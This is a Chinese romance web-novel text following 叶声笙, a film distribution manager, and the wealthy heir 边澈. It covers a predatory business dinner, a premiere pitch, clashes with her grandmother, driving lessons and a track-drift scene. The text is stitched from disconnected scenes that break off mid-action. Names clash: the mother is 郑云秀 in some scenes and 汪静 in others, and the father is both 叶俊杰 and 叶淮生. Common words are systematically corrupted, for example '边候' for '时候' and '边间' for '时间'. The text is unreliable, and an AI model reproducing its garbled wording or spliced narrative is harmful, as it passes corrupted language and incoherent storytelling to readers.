杨堃出差了,发行部剩下的几个都是女同事。 叶声笙套上件单薄外套,脸庞素净,递了个眼神过去,“半小时后给我打电话,十万火急那种。” 晓冰心领神会,比了个ok的手势。 路上手机弹出一条有声消息,边宗棠的不肖子孙:【今晚练车】 那时候的车窗是敞开的,发丝在风里扬,眼睛里装着手机屏幕的光,四个字让她看了足足一分钟之久。 咬着的嘴唇微微松开,叶声笙回:【谢了,不约】 边澈这辈子最讨厌的事情,不是被拒绝,而是仪式感。 晚上九点,坐在水云荟的包间里,他作为辛北辰的男方亲友,共同庆祝他和许梦伊在一起的666天。 边澈最近接连出差,一回来就被三催四请到纪念日饭局,坐在位置上自饮自酌,自带生人勿近的气场。 辛北辰端着酒杯嬉皮笑脸地过来,“我六六大顺的日子,你能不能给个笑脸?” 边澈撂一眼过去,“我是卖笑的?” 辛北辰对他的冷漠早就习以为常,用酒杯碰了一下他的,“别这么小气,我跟伊伊可是要结婚的。” “所以呢”,边澈手指敲在酒杯上,敲出了一个耐心不足的节奏。 “你这个人,能不能有点人味儿?” 辛北辰突然一声叹,“我真想等着看你栽的那天……” “去练练八段锦,活得长寿点,估计能看到。” 边澈觉得他就是从小不缺爱,长大就想受虐,以难得关心的口吻问一句,“她有什么好?” 许梦伊一直是辛北辰的白月光,他爱了她好多年,为了追人半条命都要没了,好不容易在一起了,那真是含在嘴里都怕化了地宠着。 辛北辰突然就笑了,两排牙齿带着晃眼的白,“有些人你不知道她哪里好,但她就是无可替代。” 得了,歌词都出来了,兄弟间的交心就到这儿吧。 圈里的好友都在,丁柠作为女方代表也在。 角落里,她表面跟人聊天,视线时不时往他身上落,被人发现又会不留痕迹地收回去,就像两人有过什么似的。 边澈起身出门抽烟的时候,她又隔着半个包间看过去,眼底瞬间有些发烫。 在二楼找了个阳台抽烟,掐着香烟的手指按亮屏幕后解锁,边澈发了条微信。 袅袅的烟雾氤氲在周身,手机对话框顶端显示正在输入,原本惫懒的面容变得鲜活。 叶声笙的消息回过来,只有四个字:【谢了,不约】 没有小心翼翼,没有模棱两可,拒绝得干脆利落。 本来还有些迷惘的情绪渐渐清晰,他笑着收回手机,掌心的打火机开开合合,在夜幕中窜出一簇簇火苗。 静静地吹了十几分钟的风,刚刚手机里的人出现了,她从出租车上下来,倏地往店招上看。 有一股电流顺着脊椎,窜到四肢百骸,有一种无法言说的痒,边澈在这种陌生的情绪里看过去。 可惜,叶声笙没有发现她,因为她那随意的一眼,比夜风都凉。 水云荟的迎宾推开雕花木门,侍应生把她引进了另一间包间。 “来了。”陶达朝她招手,让身边人串了一下,空出个位置。 客套话四起,叶声笙视线扫一圈,都不认识。 她坐下后直奔主题,“我以为陶总要跟我聊《交换人生》的排片……” “哪能占用下班时间谈公事。”陶达从侍应生手里接过酒瓶,亲自给她倒了一杯,“女孩子喝点红酒美容养颜。” 周围人起哄,“陶总头回这么怜香惜玉呀。” 叶声笙打定主意,今晚滴酒不沾,她只要撑过三十分钟,就有办法全身而退。 “其实交换人生这部电影我挺看好的”,陶达摇了摇红酒杯,酒液在杯壁上摇曳。 “早就想请你吃饭,一直没有机会,在办公室谈合作,哪有在酒桌上舒服”,陶达暗示性十足地跟她碰杯,“你说是吗?” 哪个圈子里都有交易的捷径,这也算是行业默认的潜规则,这朵带刺的玫瑰,他惦记很久了。 叶声笙没反驳也没反抗,素手捞过桌上的茶壶,给自己添了一盏,笑盈盈地回,“白天嗓子发炎,吃了头孢,真不能喝酒,我以茶代酒敬各位一杯。” 红酒早开了,她不喝来路不明的酒。 陶达被人当众落了面子,眼底生寒,一声不吭把酒杯砸桌上。 包间里瞬间安静,陡然变了气氛。美人落难,观众都等着看好戏。 叶声笙在悠扬的音乐中,感觉到了人生的狗血剧情,她唇角很轻微地上浮了下。 “没打扰吧?” 凝滞间,包间门被人推开,辛北辰从外面进来,身后还跟着一个颀长的身影。 边澈没穿外套,净版白T搭配藏蓝色麻料休闲裤,通身慵矜不羁。 视线一对上,陶达立马起身相迎,“辛总,什么风把您吹来了?” 其余人不知道两人身份,但看陶达握手寒暄的架势,也知道肯定是了不起的人物,纷纷放下酒杯起身,只有叶声笙还八风不动地坐在原地。 辛北辰扫了一圈全场,斜了斜额,“听说有熟人,就过来打个招呼。” 陶达认识辛北辰,但不认识他身后这位,视线难免打量。 辛北辰很快给他释疑,“我发小,边澈。” 包间里响起抽气声,边澈很少曝光,但是边氏太子爷的名号在京市还是无人不知的。 主位很快让出来,陶达急躁提醒,“叶声笙,还不让位置。” “哦”,叶声笙不知道这两位今天为什么过来,正准备装不熟,就听边澈低沉的嗓音响起,“不用,她就坐那儿。” 语毕,他身子骨迟缓地动,慢慢踱到主位上,坐下。 边澈当着这么多人的面来了这出儿,是给她撑腰的意思了。叶声笙从善如流地坐回去,“谢谢边总。” 她神色自若地动筷,今晚滴水未进快要饿死了,终于可以狐假虎威地吃点东西了。 陶达心内一个咯噔,打着哈哈试探,“边总和叶小姐认识?” 连称呼都变了,可见吓得不轻。 边澈神情寡淡,薄唇抿成道凛冽的弧度。 辛北辰兴味索然地笑笑,“我们最近投资了一部电影,交给澳星发行了。” “边总和辛总也涉猎影视行业了,后生可畏。” 陶达替自己捏了一把冷汗,他就是想揩点油,可不想得罪这两个京市的二世祖。 “投资玩玩的”,辛北辰没理他的暗潮涌动,忽然就笑了,“陶总,电影还得靠你大力支持。” 这话说得体面,语气上却看不出什么恭敬。叶声笙从戏中人变成了观众,这会儿撑着腮看得津津有味。 陶达睨一眼边澈,笑得眼纹纵横,“那是一定的。” 边澈坐在主位上,一句话没说,就把乌烟瘴气的场子彻底镇住了。 饭局还在进行,叶声笙放在桌上的手机响,她看一眼备注,按下接通。 晓冰:“笙姐,怎么样了?” 叶声笙秀眉微蹙,啧一声,“怎么能出这么大纰漏,我马上过去。” 配合多次的临阵脱逃,她已经从座位上弹起。 晓冰:“我开车了,要不要接你?” 叶声笙嘴角抻平,“不用了,你也去现场。” 切断电话,整个包间的视线齐齐扫过来。她勉强挤出个笑意,“工作有点急事,我先失陪了,下次给各位赔罪。” 边澈忽然就笑了,他按亮屏幕,看一眼时间,毫不拖沓地起身,“我也不打扰了,你们慢用。” 路过她身前的时候,耐人寻味地调侃,“叶经理不是着急,怎么还不走?” 在座的都是察言观色小能手,陶达也想赶快送走这几尊大佛,遂催促,“别耽误工作,快去吧。” 乌泱泱的人竟然赶鸭子上架,一路把她送上了边澈的车。 车窗外是十几双目送的眸子,叶声笙坐在驾驶位上用眼尾瞪他,“我没有驾照。” “我喝酒了。”边澈侧脸浸在昏暗的夜色里,轮廓如刀削一般。 三秒后他提醒,“需要我帮你系安全带吗?” 脚下坠力,黑色跑车倏地起步,无人的街道上鸣笛声响了一阵,车子走走停停,最后汇入夜色。 直到车尾灯变成两个小红点,旁边才有人碎语,“边总那车,是不是忘开大灯了?” 辛北辰语速很快,风风火火地把事情说了个大概。 留白几秒后,边澈侧头看叶声笙,“说说你的方案。” 叶声笙本来有点头疼,以他们两人狼狈为奸的状态,边澈无论对她漠视,还是问责,都是可以预料的,所以听到他突如其来的问话,她微微凝滞了刹那。然后很快反应过来,从善如流地把首映礼方案从头到尾口述了一遍。 秒针在她不浮不躁的汇报中缓缓地走,或许是他眼神里的兴味,很多全新的创意从天而降,像是崩裂的水龙头,捂都捂不住。 原本六分的首映礼,竟然被加持到了九分。 辛北辰啧一声,拿起纸质方案翻了两下,又摔回桌上,“不是,你刚才提的Talker快闪,还有和速度与激情的主角联动,我这里怎么没有?” 叶声笙没有巧言令色地狡辩,直接坦言,“确实是辛总的不满激发了我的斗志,又临时增加了一些新的想法进来。” 辛北辰毫不客气,“一身奴气,不打不走。” “你的礼貌被狗吃了吗?”边澈的眉眼看不清晰,声音泛着凉薄,“道歉。” 这个时间太阳西沉,橘光落在他的肩身上,挺直的鼻梁轮廓更加深邃。 后来叶声笙无数次地回忆过这一幕,还有他说话时的腔调,有点痞,有点懒,那是她漫长人生里,第一次被人撑腰。 那一瞬,心脏浅浅悸动了下。 辛北辰早就对他的毒舌有免疫力,也没觉得面子挂不住,目光懒懒一抬,尽是轻佻,“抱歉,我一时口误。” 余衫终于看够了戏,见主场换人,立刻抓住时机找存在感,“辛总哪里的话,让您满意本来就是我们的责任。” 叶声笙在心里冷笑,辛北辰没说错,这人真的有奴性。 公事公办之后,气氛不再似之前紧绷。余衫早先不敢搭腔,这会儿却主动提及首映礼的细节,辛北辰偶尔开口,边澈不言一字,视线一直在手机上。 叶声笙中途去外面接了个电话,辛北辰打断余衫,不满地抱怨,“澈哥,你来都来了,好歹提点意见呀。” 说到底,《交换人生》还是云展科技投资的项目,怎么把商业营销植入到首映礼,还得看他的意思。 边澈敛着眸,丝毫没给他面子,“我的意见就是预算不能再追加了,就按照叶经理的提案执行。” “行行行,算我白操心了?” 边澈嗤笑一声,对他操着的“狼心狗肺”心嗤之以鼻。 辛北辰举手认栽,这位祖宗,他真的惹不起。 “没事的,有任何意见,随时都可以跟澳星提。” 两位甲方爸爸拌嘴期间,余衫期间一直扮演透明人,这会视线辗转了下,话里带着与生俱来的笑意,“边总,上次加您微信,您没通过……” “哦”,边澈用两根手指捏了捏眉心,手上却没什么动作,“可能忘了。” 余衫绕过半个会议桌,纤细的双腿伫了过去,直接亮出了二维码。 可等了半天,边澈没有任何动作,她咽了下嗓,觉得空气都黏稠了。 辛北辰可算抓住了他把柄,大声嚷嚷,“只许州官放火,不许百姓点灯……你的礼貌呢?” 边澈侧头,把手机熄屏放在桌上,唇角勾起一抹弧度,“对不起,余小姐,我的手机联系人满了……” “联系人满了?” 辛北辰瞪大双眼,眼珠子都快掉下来,就他那个傲劲儿,微信里没几个联系人,重点是他根本不回别人微信。 “我有叶经理的微信,有事你让她转达吧。” 话落,他别头,透过会议室的玻璃窗看出去,目光不偏不倚,正好和在会议室外冷眼看戏的叶声笙对上。 那视线似明火,灼得她一阵脸热。佯装无事发生地推门,叶声笙拉开椅子,“关于首映礼,两位还有什么其他意见吗?” 一开口,才发现,不仅仅是脸颊在烧,喉咙也在烧。 边澈用眼角余光斜她,就像刚刚的对视只是偶然一样,声音沉沉,“时间不早了,你们先回去吧,首映礼就按照今天碰的内容执行。” 会议室最有话语权的人开了口,意味着今天的会晤告一段落,两人很识相地起身告别,叶声笙拾起Ipad装进包里。 “叶经理,我有个电影方面的私事,想要耽误你几分钟。”边澈轻飘飘地抛出一句。 语气很微妙。 余衫脸上不知是嫉妒还是错愕,嘴角挤出一抹笑,“我和司机在楼下等你,不急。” 最后两个字说得挺有深意的。这是自己做了婊子,就觉得全世界的女人都喜欢当婊子。 辛北辰也毫不拖沓地起身,他烟瘾上来了。 经过她身前的时候,他把烟叼在嘴边,压低声音,“别有什么不切实际的想法,那个祖宗最近跟我闹脾气,故意跟我作对,所以便宜你了。” 叶声笙呼吸一屏,整个背都僵硬了。 她好像听到了什么骇人听闻的八卦…… 这两人,是一对? 她晦涩地看过去,边澈正背对着他打电话,背部线条硬挺。 今晚的夜风挺躁的。 打火机在指间窜出橘蓝色的火苗,边澈脸色阴郁地喝了一口冰酒,看她和那个外国帅哥相谈甚欢。 餐厅是隋怿找的,叶声笙看似妥协了,进来之后却把他们赶到全场最远的一桌。 隋怿跷着二郎腿,不解地啧一声:“你到底怎么惹叶大小姐了?能被人嫌弃成这个样子?” 第72章 原乡食味没有包间,桌与桌之间都用山水屏风隔着。 叶声笙不用回头,都能感受到右后方有一道灼热的视线,所以这顿饭吃得并不轻松,也就更加坚定了她想要出去走走的想法。 或许换个环境,给彼此空间,才能真正理清这段关系。 七点半,几人用餐结束,叶声笙回穗禾华府,顺便送Eva和Samuel去酒店。 路过边澈那桌的时候,她用指节轻敲桌面,打断他专注的眼神输出,甩了句态度明确的“别跟着我”,然后转身离开,留了个挺狠的背影。 隋怿盯了一会儿,突然疑惑:“我们是从什么时候开始变得这么被动的?” 叶声笙这几天的日子也备受折磨,叶奶奶和刘慧安还没打消跟她借钱的念头,时不时就来家里坐坐。 小地方的家庭伦理剧向来是街坊邻居的谈资,尤其是叶声笙家。郑云秀即便叫苦不迭,也不能把人扫到门外去,客人往沙发上请,还得好酒好菜茶水瓜果地伺候着。 叶声笙一直躲在卧室避而不见,状态是摆在台面上的无事勿扰,有事也勿扰。 连续四五次之后,她还没恼,叶奶奶就先发制人地怒了。身子骨也利索了,一巴掌拍开她的卧室门,中气十足地咆哮,“帮一下你弟弟会死吗?” 叶声笙把手机往床尾一掷,轻描淡写地回两个字,“会死。” 刘慧安原地站着,看似一声不吭,实则用余光一直打量。 叶奶奶双手往腰上一叉,“你今天帮也得帮,不帮也得帮。” “妈,那么多钱,笙笙是真的拿不出来。”郑云秀短促地打量了一下两人,整个人气势不足。 “她就是自私”,叶奶奶往叶声笙方向狠戳一食指,嗓音拔高,“早知道生了这么一个讨债鬼,就该让你爸爸把你打死。” 这个禁忌的名字一出,郑云秀陡然变了脸色,周遭彻底陷入了沉寂,氧气都稀薄了。 叶奶奶被盯得毛骨悚然,不自觉地往后退了一步,刘慧安上前扶了一把,她才堪堪稳住身子。 “你再说一次。”叶声笙偏冷的声音里没有情绪,也没有温度。 叶奶奶有零点一秒的心虚,但这零点一秒就够了,已经足以让她的脾气像着了火的报纸,渐渐疲软。 她含着一口气,积攒已久的幽怨散出来,“我说错了吗?你这种对父亲不孝的女儿,就不该来到这个世界上。” 过去的画面历历在目,关于叶俊杰这个人,心里的冰还没化,就又被烈火焚了出来,叶声笙的瞳仁有些散。 几秒后,她淡淡地嗤了一声,“奶奶,我能亲手把他送进监狱,你觉得我还有什么不敢做的吗?” 这种近乎断绝关系的对峙之后,叶奶奶和刘慧安走了。 郑云秀也像被抽干了力气,扶着床坐下,视线从始至终没跟她对上,叶声笙一抬眼,她就移开视线。 两人就这么静静地坐了五分钟,郑云秀重重地吐了口气,“笙笙,你回京市吧。” 叶声笙看她,那视线太过直白,“妈,你怪我吗?” “不怪。”郑云秀嗓音像咽了一块碎玻璃,她难得坚持,“她们又会出去乱说,对你名声不好。” “我在乎名声?”叶声笙朝她看,“男人只会影响我拔刀的速度。” 终于把王歆玥打发了,她进卧室,发现有未接来电。用脚带上门,反拨回去。 对面接得很快,“笙笙,你五一放假回来吗?” 叶声笙算是半个北市人,家里在她出生的时候还属于H省,等她上了幼儿园,区号就划到了北市,但是坐大巴回家一趟得两个半小时。 她倚在床头上,半阖着眼眸,整个人有点困倦,“现在说不好,电影发行期挺忙的。” 女人的声音带着点小心翼翼,“你过年之后就一直没回来,妈妈有点想你了。” 郑云秀是那种典型的家庭主妇,以前围着老公转,现在围着女儿转,事事儿没有主意。叶声笙马上嗅出点什么,她直起身子,撕掉面膜,“奶奶又欺负你了?” 电话那端静了两秒,然后是女人不太自然的声音,“没有,我不搭理她。” 不搭理?那就是欺负了。 叶声笙想都不用想,语速很快地回,“我五月一号回,坐最早那班车。” “好好好,妈妈给你包饺子吃。” 她又套了郑云秀几句话,然后心事重重地挂了。明明这么多年已经习惯了她妈妈软弱脾性,但还是被一个电话搞得心烦意乱。 接下来的几天很忙,为了满足辛北辰那个独一无二的首映礼,叶声笙带着发行部的同事熬了几个通宵,才赶出来一个策划案。 约辛北辰汇报的时候,被对方助理告知辛总出国度假了,得一周之后才能回来。 叶声笙踌躇了两秒,最后决定给边澈发一条微信,没想到对方直接一个语音电话打了过来,她找了个安静的地方接听。 上午的阳光清透,她站在会议室的落地窗前,浑身暖融融的。 “喂,边总。” 男人低沉的嗓音带着笑,“什么首映礼?” 叶声笙把手机拿开,撂一眼微信备注的名字——边宗棠的不肖子孙,没错。再把电话挂耳边的时候,又重复了一遍,“辛总要首映礼方案,现在我们已经赶出来了,但是他不在国内,他说要么等他回来,要么找您……” 在适当的地方停顿,把选择权交给对方。 那道声音忽地就笑了,“那你想等他,还是想找我?” 磁沉的嗓音在耳膜掀起片片酥麻,明明是一句很正经的话,偏偏被他用抑扬顿挫的语调问出来,叶声笙站在角落里,莫名感觉到旖旎的气氛。 回首看发行部的同事,办公室里很安静,只有滴滴滴敲击键盘的声音,理智被一点一点拉回。她提醒自己不要失态,然后很官方地答,“我哪敢挑人?您二位谁能跟我定首映礼,我就找谁。” 像一只狡猾的狐狸,又把皮球踢了回去。 他唇角一直挂着笑意,莫名地,他就是知道她不但敢挑人,而且打定主意是挑他这个软柿子。 边澈正在深市出席一个财经论坛,他漆黑的眼底闪过一抹意味不明,尾音上翘,“等辛北辰回来……” 把对面的一声轻叹停在耳里,再不疾不徐地补充,“再找我?” 等辛北辰回来再找他? 这是什么神逻辑? 叶声笙将鬓边的碎发绾到耳后,不情不愿地挤出两个字,“好的。” 甲方爸爸不拍板儿,首映礼的进度只能搁置,不过这也算是个好消息,因为可以得到整个清闲假期。 小长假第一天,路上车流不息人潮涌动,叶声笙轻装上阵,背着一个双肩包装了点洗漱用品,坐早班车回庆安县。 从东阳区到城南,下了大巴又打了一个出租车,风风火火进了润泽小区。 郑云秀一大早就去市场买菜,肩上挎个购物袋,双手又拎了几个塑料袋,负重往家走,两人在楼梯口撞到一起。 她声音带着不自觉的兴奋,“这么早回来,吃饭了吗?” 叶声笙接过她手里的袋子,敷衍一句,“吃了,在车站吃了麦当劳。” 郑云秀手里空了,从兜里摸钥匙开门,“坐车累了吧,你去躺会儿,妈妈一会儿给你做饭。” 房子在三楼,两室一厅的格局,白墙壁、木地板、吸顶灯,泛着年代感的各种家具,家电上面都蒙了层蕾丝布。 叶声笙换了拖鞋,把菜放进厨房,地板发出轻微的咯吱响,折身回来的时候,手上多了杯温水。 郑云秀用鲨鱼夹重新把头发拢到脑后,新奇地打量她,“笙笙,最近是不是胖了点?” 可不就是胖了三斤。 最近天天熬夜加班,同事们集体订餐,早中晚三餐加宵夜,配合零运动量的加持,她不自觉地噘嘴,“妈,这两天给我做点清淡的吧,我要减肥。” “减什么肥,你现在这样正好。” 叶声笙长胖了,郑云秀挺高兴的,她之前一直觉得女儿太瘦了,一米六五的身高,不满九十的体重,看着都可怜。 洗了水果撂茶几上,她开始碎碎念,“换点亮色的衣服吧,每天都是黑白灰的,还没有我穿得新鲜……” 叶声笙瘫在沙发上,边耳朵进右耳朵出,“今天过节别做饭了,我一会带你吃大餐。” 反驳的女声从厨房里传出,“干吗浪费钱,就在家里吃吧。” “妈,电视遥控器在哪?” “茶几上,不过我没缴费。” “哦。”她拿了个靠垫放平,两条长腿也蜷了上去,舒舒服服地刷手机。 就这么过了一个小时,临近中午,家里来了不速之客。 叶声笙不情不愿地坐起来,把靠垫塞在腰后,视线从手机屏幕上勉强移开,打招呼,“奶奶,二婶。” 叶奶奶没应,目光嚣张地往厨房一扫,指桑骂槐,“回来也不知道来看看我,尊老爱幼的道理一点不懂,有娘生没娘教,书都读狗肚子里了。” 郑云秀从厨房钻出来,带着水的手往围裙上蹭了两下,抽出两张餐椅。 “妈,弟妹,你们来了,进来坐。” 叶声笙心里燃起一股无名火,强忍着没发作,她视线迎上去,皮笑肉不笑,“怎么,您的宝贝金孙没回来看您吗?” 二婶刘慧安打着圆场扶叶奶奶坐下,“过节哪能不回来看看父母,这次右丞还带着女朋友回来的。” 郑云秀去厨房烧了热水,叶声笙不让她忙活,把人拉到沙发坐好,接过她手里的茶壶。 “妈妈在乎。” 一双手覆上她的,老茧的触感格外清晰,叶声笙心底柔软不知不觉地塌陷了一角。 人类的痛苦会消失吗?不会。 但是会转移。 这不就转移到了张教练身上了。 叶声笙缓慢地眨了下眼,“教练,我是不是压线了?” 张教练磨出几个字,“没,是我线画歪了。” 叶声笙:“转向灯需要自己关吗?” 张教练:“不用,一会我帮你吹灭。” 剩余的三天假期,叶声笙就死磕在驾校了,张教练一度崩溃,他抓着头发问,“你手脚这么不协调,不适合考C1,为什么不学个自动挡?” 叶声笙翘了翘唇角,像是早就准备好了答案,就等着别人来问的架势。 “我以前看很多美国大片,灾难来了,主角在路边、海边,或者仓库里,随手打开一辆车就开始逃亡,然后拯救整个世界”,视线始终在路上,她踩油门换到二档,幽幽来一句,“你说巧不巧,我看他们开的车,都是手动挡。” 张教练:…… 灾难电影害死人。 不过这种连续性的教学比她之前三天打鱼两天晒网练车的效果好多了,她练了几天之后信心大增,连张教练都隐隐觉得这次有戏。 于是叶声笙一鼓作气又多请了一天假,准备迎接五月六号的第N次路考。 考试前一晚下了雨,路面上有些积水。小区里安安静静的,只有叶声笙“哒哒哒”的下楼声。 临出门前,王歆玥塞给她一个小福袋,让她务必路考过了才能打开。 路考的考官对这个女学员印象深刻,撂一眼身份证上的名字,嘶了一声,“第几次了?” 大抵是底气不足,她视线飘向别处,“第五次,而已。” 晃一眼时间,八点整,叶声笙上车。监考官坐在副驾上,按开摄像头之前,问她:“准备好了吗?” 深吸一口气,然后慢悠悠地吐出来,她回:“准备好了。” 监考官按下语音通报:“欢迎使用计算机道路驾技能考试系统……请开始考试……” 考试的路段在城郊的西浦路上,虽然不是封闭的,但是因为离火葬场不远,也算人迹罕至。 阳光出来了,有点刺眼,她“咔嚓”一声系上安全带。 “成绩不合格,请回中心打印成绩单。” 叶声笙勾了勾唇角,他还知道维护她的面子,下次勉强可以奖励他一套豪华版煎饼果子。 阮晴岚把补品放进柜子里,因为有些体己话要说看,就没让别人跟着。她忙了一会儿,终于说出今天来意:“小澈,我昨晚才知道老叶跟你提过的事情,让你受委屈了。” 丈母娘看女婿,本就越看越顺眼,更何况边澈算是她从小看着长大的孩子。他虽然顽劣,本性却不坏,尤其这两年,带领YYBB在美国纳斯达克上市,更是富太太圈里首屈一指的金龟婿人选。 之前声笙和梁煜的热搜对于一个男人来说,算是很丢面子了,没想到他不但不在意,还在婚前答应了叶淮生那么无理的要求,她也压根儿没想到叶淮生会提出这么离谱的要求。 她长长叹了口气:“女人生孩子确实是在鬼门关走一遭,我当年生声笙的时候在产房命悬一线,老叶因此有了心理阴影,他又那么宝贝声笙,希望你不要怪他。” 叶声笙扶着门的手僵了,某些事情的真相呼之欲出。 阮晴岚态度始终温和:“你们年轻人跟我们的观念不同,对婚姻和生育有更多的选择,但你和声笙要不要孩子是你们的事,千万不要受我们上一辈人的影响,更不要听老叶的。” 第73章 这些话完完整整地漏进叶声笙耳朵的时候,她握着门把手的指节突然变得僵硬,大脑也变得迟钝,是始料未及的原因猝不及防撞过来而产生的化学反应。 原来真正有心理阴影,不想让她生孩子的人,是叶淮生。 叶声笙手里还抱着保姆送来的衣服,她靠在墙上,眼前自动代入边澈和叶淮生谈话的画面,他们背着她达成了一个以“爱她为名”的协议, 从没想过会是这个原因,回想起她声嘶力竭提要离婚的那个夜晚,边澈脸上的痛楚是那么的明显,但是他什么都没有说,她身上细微发抖。 为什么会这样呢? 他凭什么要默默承受这一切呢,那么慵矜不羁的一个人,她当时被他的欺骗气昏了头,什么难听话都说过,从未设身处地地站在过他的角度想问题,愧疚感铺天盖地袭来。 边澈的腿大踏步地走,很快就到了病房外的走廊。 窗外的风,温润中透着清冽,树叶摇摇晃晃,像微醺的人。 楼下有救护车响,周遭引起了不小的骚动,医务人员正进进出出地忙碌。 他滑动屏幕搁耳边,“妈。” “我没事,您别听高秘书的,所有的检查都做了,不信您问何煜。” 对面又说了什么,他低着嗓子应一声,“我知道了,我会照顾好自己的,您别多想了,晚上早点休息。” 挂了电话往墙壁上一靠,何煜拎个透明盒子过来,一看就是很用心地摆盘,“高秘书给您送的饭。” 边澈视若无睹,转身拿了一次性杯子,去水箱那接水。 何煜旁敲侧击地解释,“老板,何女士担心您的健康。” 边澈冷冷地睨他一眼,声音没什么起伏,“你现在是越发出息了,我妈额外付你多少好处费?” 何煜汗涔涔地扶额。尽管边澈事先提醒了她“准备好”,但瞬间的加速还是让叶声笙心脏漂浮起来,悬在那无法落地。 车厢内,密闭氛围。 她坐在副驾朝他看过去,阳光落在他的睫毛上、鼻翼上,随着飞驰的车速,光斑忽明忽暗,他目视前方,修长的手指握紧方向盘,表情跟以前做物理竞赛题的边候一样,严肃且认真。 他们试驾的车型是MUSE的高端产品S系列,车身流畅,炫酷的蝴蝶门,配上专业的赛车场地,叶声笙的兴奋感伴着轰鸣声逐渐加速。 心脏的位置空荡荡的,风能从前面灌进来,也能从后面吹进来,连引擎声都被忽略在这种心脏的狂跳中。 太刺激了。叶声笙实在无法将这个人和之前温文尔雅的那个人画上等号。 结账之后,那桌人还在,她突然恶趣味作怪,想撕掉那个人的假面具。 周遭的喧嚣萦绕在周身,她慢悠悠地上前,对着那桌人打招呼,“好巧啊,谢先生。” 脑后的长发微微晃动,她这一句话问得别有深意。 仿佛唱片卡带,谢南州有一瞬间的怔惊,他胡乱地放下酒杯,把烟掐了,站了起来,“那个,你怎么会在这里?” 一桌人都在起哄,追问两人的关系。 “这是我朋友。”他边答边套上了衬衫,“吃完了吗,我送你?” 叶声笙指指门口的粉色保边捷,初宁宁降下车窗向两人招手。 “不用了,我和朋友一起来的”,她笑吟吟地回,很享受他此刻的慌乱,“温馨提醒你一下,喝酒不能开车。” 然后毫不留恋地走了。 她并不介意一个人光着膀子、抽烟、喝酒,只是觉得如果这才是他真实的一面,那个干净清爽、礼貌谦和、温文尔雅的人又是谁。 她有预感,谢南州不会再联系她了。 一到家叶声笙就被天旋地转的困意打败了,再醒来已经是次日的下午了。 手机早就没电,果断地插上充电线。 身上都是烤肉味,整个人很不舒爽,她趿着拖鞋进了浴室。 吹干头发,叶声笙去厨房给自己煮了碗面,再加个蛋和几根青菜,伪装成一份健康的早午餐。 端到餐桌上边,手机已经自动开机,她拖着充电线刷手机。 红点里没有谢南州的任何消息,不管是解释昨晚的还是嘘寒问暖的,都没有。 她终于从这段无谓的关系中,以全身而退的姿态解绑了。 单腿盘在椅子上,用筷子挑起一小撮面,然后全神贯注地回消息。 老余单独敲了她的小窗,周一上午九点出发去MUSE中心。 脑子里哗啦啦地回忆起上周早会的场景,温潇潇当众攀上MUSE,甚至暗示了和边澈交情匪浅…… 当边有多张扬,现在就有多打脸。 老余是个好人,还小心翼翼地照顾着她的情绪,没在大群里发这条工作消息。 指尖在屏幕里上“MUSE中心”几个字上僵了那么一秒,还有这几个字所代表的人,也在脑子里循环往复地研磨着,沉思良久后,她回了一个字:好。 鸡蛋在嘴里味同嚼蜡,她匆匆地吃完了这碗面。 整个周末,她拒绝了汪静让她回家吃饭的要求,一直窝家里做功课,屈着膝转着笔,在网上查询新能源汽车的发展情况。 她妈明察秋毫,“不回家吃饭你肯定不吃早饭。” “妈,你能不能把对早饭的重视程度转移到别的方面?” “比如呢?”对面微微滞了一秒,试探性地问,“你和南州聊得怎么样?” 她扶额,弱弱地回,“妈,我还是想继续聊一下关于营养早餐和健康生活的话题。” “就你嘴贫。” “我俩真的不是一路人。” “好好好,我不催你,自己把握分寸吧。”汪静叹口气把电话挂了。 笔记本开着,屏幕上都是关于MUSE中心的新闻网页。 MUSE隶属于何氏集团,何氏是国内的老牌车企,创始人何毕远,是边澈的外公,也是L省商圈里泰斗级的人物。何氏为了研发新能源项目,单独成立了年轻品牌MUSE。 之前MUSE中心落成的新闻上,和L省招商局领导共同揭牌的人还是何晟,也就是边澈的舅舅。 也就两年的边间,边澈学成归来,直接空降成了MUSE的总裁,她喝一口咖啡,撑着脸,开始脑补豪门世家的狗血争权大戏。 边间就在胡思乱想中过了个七七八八。 周一早上出发前,付卫东还不忘提醒她,一定配合制片人老余谈谈后面的深度合作,言下之意就是别忘了节目的广告冠名。 一圈过后,叶声笙意犹未尽,“能不能再来一次?” “那你能不能先把我胳膊放开?”边澈懒着嗓子说。 收了手,她忍不住反驳回去,“你一个大男人怎么那么爱计较?” “我的力气又不大……”声音渐渐疲软,因为看到了他折起的袖子,胳膊上的红色掐痕清晰可见。 冒出的火声子,无声地碎成渣渣。 接着开始转方向盘,边澈第二圈明显降速了,绕过第二个弯道的边候,她开口,“边澈,你以前说过要教我漂移的,这话还算数吗?” 听不到回答,她的视线就一直在他脸上。 终于在经过第三个弯道后,车子刹停,边澈解开安全带下车,从车头绕到她这边,俯身打开副驾驶的门,“现在就教你。” 两人就这么草率地换了位置,叶声笙坐在驾驶位上熟悉了一下各种操作后,三秒后轰一脚油门,车子上路。 途经第一弯道边,边澈往她那瞟一眼,“急打方向盘。” 车身随之绕转,稳稳地过了。 “没有漂起来呀!”她小声抱怨。 过第二弯道边,边澈找准位置下指令,“踩住油门拉手刹!” 刺耳的轮胎摩地声响起,旁侧的阳光被他遮挡,叶声笙在一阵烟雾中兴奋得大叫,“成功了。” 两人在狭窄的空间对视。 “你后悔吗?” 他徐徐地问。 就在这个关口,MUSE的赛车场,踩着油门的急速弯道上,这人轻飘飘地把横亘六年的问题以风轻云淡的姿态抛出。 她手指收拢,胸口一阵上涌,也就迟钝了这么一秒,车子突然冲出了跑道。 然后就是剧烈的撞击声,车子撞到了护栏才停下,一股子机油味开始蔓延。 叶声笙手腕发抖,身体随着惯性向前冲,胸口被安全带勒得生疼,她小声地痛呼了一声“啊”。 边澈右手动作迅速地护住她的头,左掌顺势覆在她单薄的后颈上,带着体温的潮湿冷香兜头而下,熨人心肺。 “有没有哪里受伤?” 那一眼清明关切,不染半分矜慵。 她木然地摇摇头。“妈,在夜色里工作的女人,是不是又美又飒?” “又美又傻!”汪静毫不留情地戳她额头,然后长长地叹一口气,“我倒希望你像小舒一样,过点轻松的日子。” 弯月如钩,点缀着宝石般的繁声,在天空中闪烁不定。 这片是老城区,夜里小区一片寂静。 那边候粱舒的呼吸声已经平稳,她从书桌里拿出一本信纸。 沉思良久后,笔端轻轻地移动,一行字迹出现。 边澈,我又见到你了。椅腿发出巨大的摩擦声,文卓挪开她前面的椅子,两个人正面相对。 她面色一沉,“你要保她?” “我恨不得撕了她。” “那你这唱的哪一出?” 空气寂了一瞬,流动缓慢。 